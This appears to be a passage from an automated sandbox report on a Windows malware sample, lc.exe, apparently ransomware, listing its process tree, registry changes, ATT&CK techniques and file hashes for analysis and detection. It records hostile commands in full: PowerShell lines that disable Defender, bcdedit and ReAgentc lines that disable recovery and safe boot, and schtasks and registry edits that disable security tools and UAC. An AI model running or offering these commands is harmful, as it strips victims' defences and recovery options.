\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityCenter def_none.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\1 = "MsMpEng.exe" def_none.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\10 = "SgrmLpac.exe" def_none.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\PhishingFilter def_none.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\PhishingFilter\EnabledV9 = "0" def_none.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings def_none.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance\Enabled = "0" def_none.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost def_none.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\AppHost\EnableWebContentEvaluation = "0" def_none.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer def_none.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows def_none.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\Software\Microsoft def_none.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe def_none.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Notifications def_none.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.Defender\Enabled = "0" def_none.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script\Settings\AmsiEnable = "0" def_none.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun = "1" def_none.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\7 = "MpDlpCmd.exe" def_none.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\11 = "SgrmBroker.exe" def_none.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\13 = "SecurityHealthHost.exe" def_none.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer def_none.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.Defender def_none.exe Key created \REGISTRY\USER\.DEFAULT\Software def_none.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft def_none.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion def_none.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\2 = "MpCmdRun.exe" def_none.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\6 = "MpDlpService.exe" def_none.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\9 = "smartscreen.exe" def_none.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\PhishingFilter def_none.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE def_none.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\4 = "MpDefenderCoreService.exe" def_none.exe - Modifies registry class 4 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\EPP def_none.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\EPP\ def_none.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\ContextMenuHandlers\EPP def_none.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\ContextMenuHandlers\EPP\ def_none.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe 4464 lc.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4464 lc.exe Token: SeDebugPrivilege 1204 powershell.exe Token: SeIncreaseQuotaPrivilege 1204 powershell.exe Token: SeSecurityPrivilege 1204 powershell.exe Token: SeTakeOwnershipPrivilege 1204 powershell.exe Token: SeLoadDriverPrivilege 1204 powershell.exe Token: SeSystemProfilePrivilege 1204 powershell.exe Token: SeSystemtimePrivilege 1204 powershell.exe Token: SeProfSingleProcessPrivilege 1204 powershell.exe Token: SeIncBasePriorityPrivilege 1204 powershell.exe Token: SeCreatePagefilePrivilege 1204 powershell.exe Token: SeBackupPrivilege 1204 powershell.exe Token: SeRestorePrivilege 1204 powershell.exe Token: SeShutdownPrivilege 1204 powershell.exe Token: SeDebugPrivilege 1204 powershell.exe Token: SeSystemEnvironmentPrivilege 1204 powershell.exe Token: SeRemoteShutdownPrivilege 1204 powershell.exe Token: SeUndockPrivilege 1204 powershell.exe Token: SeManageVolumePrivilege 1204 powershell.exe Token: 33 1204 powershell.exe Token: 34 1204 powershell.exe Token: 35 1204 powershell.exe Token: 36 1204 powershell.exe Token: SeDebugPrivilege 1356 powershell.exe Token: SeIncreaseQuotaPrivilege 1356 powershell.exe Token: SeSecurityPrivilege 1356 powershell.exe Token: SeTakeOwnershipPrivilege 1356 powershell.exe Token: SeLoadDriverPrivilege 1356 powershell.exe Token: SeSystemProfilePrivilege 1356 powershell.exe Token: SeSystemtimePrivilege 1356 powershell.exe Token: SeProfSingleProcessPrivilege 1356 powershell.exe Token: SeIncBasePriorityPrivilege 1356 powershell.exe Token: SeCreatePagefilePrivilege 1356 powershell.exe Token: SeBackupPrivilege 1356 powershell.exe Token: SeRestorePrivilege 1356 powershell.exe Token: SeShutdownPrivilege 1356 powershell.exe Token: SeDebugPrivilege 1356 powershell.exe Token: SeSystemEnvironmentPrivilege 1356 powershell.exe Token: SeRemoteShutdownPrivilege 1356 powershell.exe Token: SeUndockPrivilege 1356 powershell.exe Token: SeManageVolumePrivilege 1356 powershell.exe Token: 33 1356 powershell.exe Token: 34 1356 powershell.exe Token: 35 1356 powershell.exe Token: 36 1356 powershell.exe Token: SeDebugPrivilege 872 powershell.exe Token: SeIncreaseQuotaPrivilege 872 powershell.exe Token: SeSecurityPrivilege 872 powershell.exe Token: SeTakeOwnershipPrivilege 872 powershell.exe Token: SeLoadDriverPrivilege 872 powershell.exe Token: SeSystemProfilePrivilege 872 powershell.exe Token: SeSystemtimePrivilege 872 powershell.exe Token: SeProfSingleProcessPrivilege 872 powershell.exe Token: SeIncBasePriorityPrivilege 872 powershell.exe Token: SeCreatePagefilePrivilege 872 powershell.exe Token: SeBackupPrivilege 872 powershell.exe Token: SeRestorePrivilege 872 powershell.exe Token: SeShutdownPrivilege 872 powershell.exe Token: SeDebugPrivilege 872 powershell.exe Token: SeSystemEnvironmentPrivilege 872 powershell.exe Token: SeRemoteShutdownPrivilege 872 powershell.exe Token: SeUndockPrivilege 872 powershell.exe Token: SeManageVolumePrivilege 872 powershell.exe Token: 33 872 powershell.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 4464 lc.exe - Suspicious use of WriteProcessMemory 25 IoCs
description pid Process procid_target PID 4464 wrote to memory of 2400 4464 lc.exe 89 PID 4464 wrote to memory of 1204 4464 lc.exe 91 PID 4464 wrote to memory of 1356 4464 lc.exe 100 PID 4464 wrote to memory of 872 4464 lc.exe 103 PID 4464 wrote to memory of 4604 4464 lc.exe 108 PID 4464 wrote to memory of 1748 4464 lc.exe 110 PID 4464 wrote to memory of 1040 4464 lc.exe 111 PID 4464 wrote to memory of 2456 4464 lc.exe 114 PID 4464 wrote to memory of 4360 4464 lc.exe 115 PID 4464 wrote to memory of 4708 4464 lc.exe 117 PID 4464 wrote to memory of 3892 4464 lc.exe 118 PID 4464 wrote to memory of 4332 4464 lc.exe 120 PID 4464 wrote to memory of 5036 4464 lc.exe 121 PID 4464 wrote to memory of 1708 4464 lc.exe 124 PID 4464 wrote to memory of 2128 4464 lc.exe 125 PID 4464 wrote to memory of 4988 4464 lc.exe 127 PID 4464 wrote to memory of 3144 4464 lc.exe 129 PID 4464 wrote to memory of 560 4464 lc.exe 130 PID 4464 wrote to memory of 3668 4464 lc.exe 131 PID 4464 wrote to memory of 1352 4464 lc.exe 132 PID 4448 wrote to memory of 2000 4448 def_none.exe 140 PID 4448 wrote to memory of 1468 4448 def_none.exe 142 PID 4448 wrote to memory of 1208 4448 def_none.exe 144 PID 4448 wrote to memory of 1348 4448 def_none.exe 146 PID 4448 wrote to memory of 3388 4448 def_none.exe 148 - System policy modification 1 TTPs 21 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" lc.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu = "1" lc.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoMsConfig = "1" lc.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoShutDown = "1" lc.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\HideFastUserSwitching = "1" lc.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableCAD = "1" lc.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableLockWorkstation = "1" lc.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\NoClose = "1" lc.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" lc.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" lc.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr = "1" lc.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoControlPanel = "1" lc.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableChangePassword = "1" lc.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose = "1" lc.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogoff = "1" lc.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRestart = "1" lc.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ShutdownWithoutLogon = "0" lc.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" lc.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\NoChangePassword = "1" lc.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDevMgrUpdate = "1" lc.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\NoLogoff = "1" lc.exe - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\lc.exe"C:\Users\Admin\AppData\Local\Temp\lc.exe"1⤵
- Modifies WinLogon for persistence
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies Windows Defender Real-time Protection settings
- UAC bypass
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- Adds Run key to start application
- Checks whether UAC is enabled
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4464 -
C:\Windows\system32\def_none.exe"C:\Windows\system32\def_none.exe"2⤵
- Executes dropped EXE
PID:2400
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true"2⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:1204
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableBehaviorMonitoring $true"2⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:1356
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableBlockAtFirstSeen $true"2⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:872
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableIOAVProtection $true"2⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
PID:4604
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill.exe /im Explorer.exe /f2⤵
- Kills process with taskkill
PID:1748
-
-
C:\Windows\System32\ReAgentc.exe"C:\Windows\System32\ReAgentc.exe" /disable2⤵
- Drops file in System32 directory
- Drops file in Windows directory
PID:1040
-
-
C:\Windows\System32\bcdedit.exe"C:\Windows\System32\bcdedit.exe" /set {default} recoveryenabled No2⤵
- Modifies boot configuration data using bcdedit
PID:2456
-
-
C:\Windows\System32\bcdedit.exe"C:\Windows\System32\bcdedit.exe" /set {default} bootstatuspolicy ignoreallfailures2⤵
- Modifies boot configuration data using bcdedit
PID:4360
-
-
C:\Windows\System32\bcdedit.exe"C:\Windows\System32\bcdedit.exe" /set {current} recoveryenabled false2⤵
- Modifies boot configuration data using bcdedit
PID:4708
-
-
C:\Windows\System32\bcdedit.exe"C:\Windows\System32\bcdedit.exe" /set {current} optionsedit false2⤵
- Modifies boot configuration data using bcdedit
PID:3892
-
-
C:\Windows\System32\bcdedit.exe"C:\Windows\System32\bcdedit.exe" /set {current} advancedoptions false2⤵
- Modifies boot configuration data using bcdedit
PID:4332
-
-
C:\Windows\System32\bcdedit.exe"C:\Windows\System32\bcdedit.exe" /set {current} bootmenupolicy legacy2⤵
- Modifies boot configuration data using bcdedit
PID:5036
-
-
C:\Windows\System32\bcdedit.exe"C:\Windows\System32\bcdedit.exe" /set {bootmgr} bootsequence {current}2⤵
- Modifies boot configuration data using bcdedit
PID:1708
-
-
C:\Windows\System32\bcdedit.exe"C:\Windows\System32\bcdedit.exe" /set {bootmgr} timeout 02⤵
- Modifies boot configuration data using bcdedit
PID:2128
-
-
C:\Windows\System32\bcdedit.exe"C:\Windows\System32\bcdedit.exe" /set {bootmgr} displaybootmenu no2⤵
- Modifies boot configuration data using bcdedit
PID:4988
-
-
C:\Windows\System32\bcdedit.exe"C:\Windows\System32\bcdedit.exe" /set {bootmgr} displayorder {default} /addfirst2⤵
- Modifies boot configuration data using bcdedit
PID:3144
-
-
C:\Windows\System32\bcdedit.exe"C:\Windows\System32\bcdedit.exe" /set {fwbootmgr} displayorder {bootmgr} /addfirst2⤵
- Modifies boot configuration data using bcdedit
PID:560
-
-
C:\Windows\System32\bcdedit.exe"C:\Windows\System32\bcdedit.exe" /set {current} safeboot No2⤵
- Modifies boot configuration data using bcdedit
PID:3668
-
-
C:\Windows\System32\bcdedit.exe"C:\Windows\System32\bcdedit.exe" /set {bootmgr} removeoptions2⤵
- Modifies boot configuration data using bcdedit
PID:1352
-
-
C:\Windows\system32\def_none.exe"C:\Windows\system32\def_none.exe" -s -worker -tilog1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies Windows Defender Real-time Protection settings
- Modifies Windows Defender TamperProtection settings
- Modifies Windows Defender notification settings
- Modifies firewall policy service
- Modifies security service
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Impair Defenses: Safe Mode Boot
- Windows security modification
- Reads the TCP/IP host and domain name from the registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4448 -
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /DISABLE2⤵PID:2000
-
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /DISABLE2⤵PID:1468
-
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /DISABLE2⤵PID:1208
-
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\Windows Defender\Windows Defender Verification" /DISABLE2⤵PID:1348
-
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /DISABLE2⤵PID:3388
-
-
C:\Windows\system32\def_none.exeC:\Windows\system32\def_none.exe1⤵
- Executes dropped EXE
PID:4228
-
C:\Windows\system32\def_none.exe"C:\Windows\system32\def_none.exe" -s -worker -tilog1⤵
- Modifies Windows Defender TamperProtection settings
- Executes dropped EXE
- Windows security modification
- Reads the TCP/IP host and domain name from the registry
PID:980
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x308 0x2f41⤵PID:3452
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
1Winlogon Helper DLL
1Create or Modify System Process
6Windows Service
6Event Triggered Execution
1Image File Execution Options Injection
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
1Winlogon Helper DLL
1Create or Modify System Process
6Windows Service
6Event Triggered Execution
1Image File Execution Options Injection
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
9Disable or Modify System Firewall
1Disable or Modify Tools
7Safe Mode Boot
1Modify Registry
11Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 3KB
- SHA256 c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485
- MD5 3eb3833f769dd890afc295b977eab4b4
- SHA1 e857649b037939602c72ad003e5d3698695f436f
- SHA512 c24bbc8f278478d43756807b8c584d4e3fb2289db468bc92986a489f74a8da386a667a758360a397e77e018e363be8912ac260072fa3e31117ad0599ac749e72
- TLSH T13A51EE313375B0D4C95A7F07193819C063BF8386E698AF58B65C521ED92751B9B222F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 a31850cdbf90e3f18938765432f5d8956ed756a3fa7a476eceea0b2264832a80
- MD5 df1084b2c1a706e3f0b00edf5286abb8
- SHA1 36fcb19a340b67e5dfa6e787cff55abebaba36cc
- SHA512 f5dc245ea756af1ad226e78a481bcf2c08143f4092120888487cfb85243d8184d586c17f935b4bdfa534ee58e511bd1527af9249d5cb314d3bb6c7b1e7f82439
- TLSH T1F4217423B3DDC850CC99423A609C9C9076B697C780DEDF9B3EC4C211907FA89CB111A0
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 f58b8c986827fbf0dfe0665e92897777bba0192b6926097ab62fa22114e00984
- MD5 d6e7796c77e77ee248ff74815ea95b07
- SHA1 2c5bf47c6a74e977b83bd505c89db103418a1bf5
- SHA512 1326565b2c52b1e4f56c614be87fb33f74216d21c0466f36b343b7dbde71f0daf20a29deacfd1c66bc1cc8e23e027c838922caadbd202a772019c9037e739305
- TLSH T135219723B3DDC850CC99023A609C9C9075B6D7C780DEDF9B2EC0C212907FA89CB101A0
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 1416c00a5cb484ddd7567805e1d93318435680c51d999bac859d2f1b0c810e7f
- MD5 eedd515a3d00e8f8776e3c124d11b99b
- SHA1 f6e0a20916739010db87c4eb6dedcfadaab17b98
- SHA512 fc07eda4694ac90b882a489f2aa37364707f13a1b771f0164b096542e56d4f297cb9f6178a582dba958af900736210e2d89923ae9b8daf519d49ba1ee7b4f75a
- TLSH T1B4215723B3DDC950DC99423A609C9D9075B6D7C780DEDF9B2EC4C216917FA99CB111A0
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vuhk1oju.bqv.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\wallpaper_ncrypt.jpg
- Size 174KB
- SHA256 d301eb64ec3b61091a3e6ee997bf8d114f3e6c5eda46afd6a8d23ad78459ea82
- MD5 b3b323be74b228e9a547f37622af266b
- SHA1 35d656234e3de2f65c2a9c9b37f864eaa5e3104f
- SHA512 0a65b61cb4414921a1c2f69e69b3462b219c03c2a0b96a3b4f5e358be72c8f357423ace0f3c8cbe5b1b21e82e0c17cd1e98dfba923487dda8df0024ef454f191
- SSDEEP 3072:P/dxtnCBOYinwq34BHBcd/E63lUM629CeXqmUNkhpnaewa+ut6ZHgRxd49Sp:P1xtnr33Cr63lU329CeXKNkhpnaMFsgd
- TLSH T172045B1398049B82A17992E8FD170FAC1F592F0CE5D23AFF05235E8B3A617365D9E12D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\Documents\Outlook Files\readme.txt
- Size 1KB
- SHA256 dc0f4e841f83fac37765278665a4a18caa9c414cd486a3562fbceeb532658965
- MD5 a28940fd6206f5b8990a7b774ff9695c
- SHA1 7a3d8493f71529f99a59df5d4ed1441de7016afa
- SHA512 ef96a6d9a05f2d74f8642224e0fc62e8b82ef72b2a563d7afce157449d1e4ea2c7f621bd2accad5ebd3d3a8c5a7ad7c2bf8b1e0a2da9412761c75e13ad12b647
- TLSH T13511787E119271D67408E84FDC64F50924E771BFABAB13C314D968193EE027CA738219
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\Downloads\AddUnregister.ods.aqd
- Size 948KB
- SHA256 dacb2e1c61ead3356df98aceb079080ae4334ea5b5e4b260bc73679f233ef189
- MD5 31c319457e75802e93156d3b69150e3d
- SHA1 a64e06332eb97178590802f9ef913e148063f7fd
- SHA512 44353ab9ec137d9318224a8678acca9177a1ebfeb196d310bc53b1af972f73863c61c70af9b0a078acebacb863d0d4666bb7fb50fd952ba34c94e5441c53d9cb
- SSDEEP 24576:7BQx2fbkE6BwdyR40cYnwq17WR+b6cC2sArKQRLK:2QfVbabwq1KRzNHL
- TLSH T1192533EC61DCE723A6F12B9939470902ED7CB7A54BDE2419F9C0A64163C71BF768030A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\Downloads\ApproveInvoke.tif.aqd
- Size 756KB
- SHA256 1395d4edd2e8ba1a7b07ab3637310bb93fd2eac68480fee8e44f786b3d857543
- MD5 0c8a89255b52cb7cb141e2df8b52c10e
- SHA1 74797c69b7525e1ae852dfb701794e0299b12b9a
- SHA512 0da1582a8d6db18b32c452de354f45829c04d88daaa5c5f4442e7afbfac11368a8de61f1cd0a6f24a6d8a625e39b19f73bff6d6092efe99d36d553a3d3c469ea
- SSDEEP 12288:xkgQjavjcxM+xT66ETipzURA9pr51jPi42BkW+ZqDbc1DRK2CO5SxgeHBEk4+QO0:xkgQjavjh+RETip+abi4OklqDbc1F95D
- TLSH T170F433C04BD36988B76CE044C587C868B325ABAF47C7A5E2E9ADF648C673C54B041DAD
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\System32\def_none.exe
- Size 280KB
- SHA256 897307c0487c3f7376eedf6b3f999559e0aa16855571f30aef4621583f7ff46e
- MD5 0497ba3a1c59ea1962f614e9acc8d57f
- SHA1 1e418cedaddfb827e4d04423aa64aefa0967f0e8
- SHA512 b09364147122589435e0c2e780f49aa16ab1991682ecb6270ca5b052fb4ebbff45cc1761b8a509080c1136c0d2b0eb014cb7ecf5df8de268b56665f9fd62a275
- SSDEEP 6144:lWRbN0Tc76mRE84jtv5Ewsg8jKM74mLvezQjjOQ7:lWRbNkcHQBEPg0KMFGQjN7
- TLSH T165544B25A7E805F9F67BC67CCDA25901EE72BC064B60E9DF039049561E33AD09E3D722
- MD5 SHA1 SHA512 SSDEEP TLSH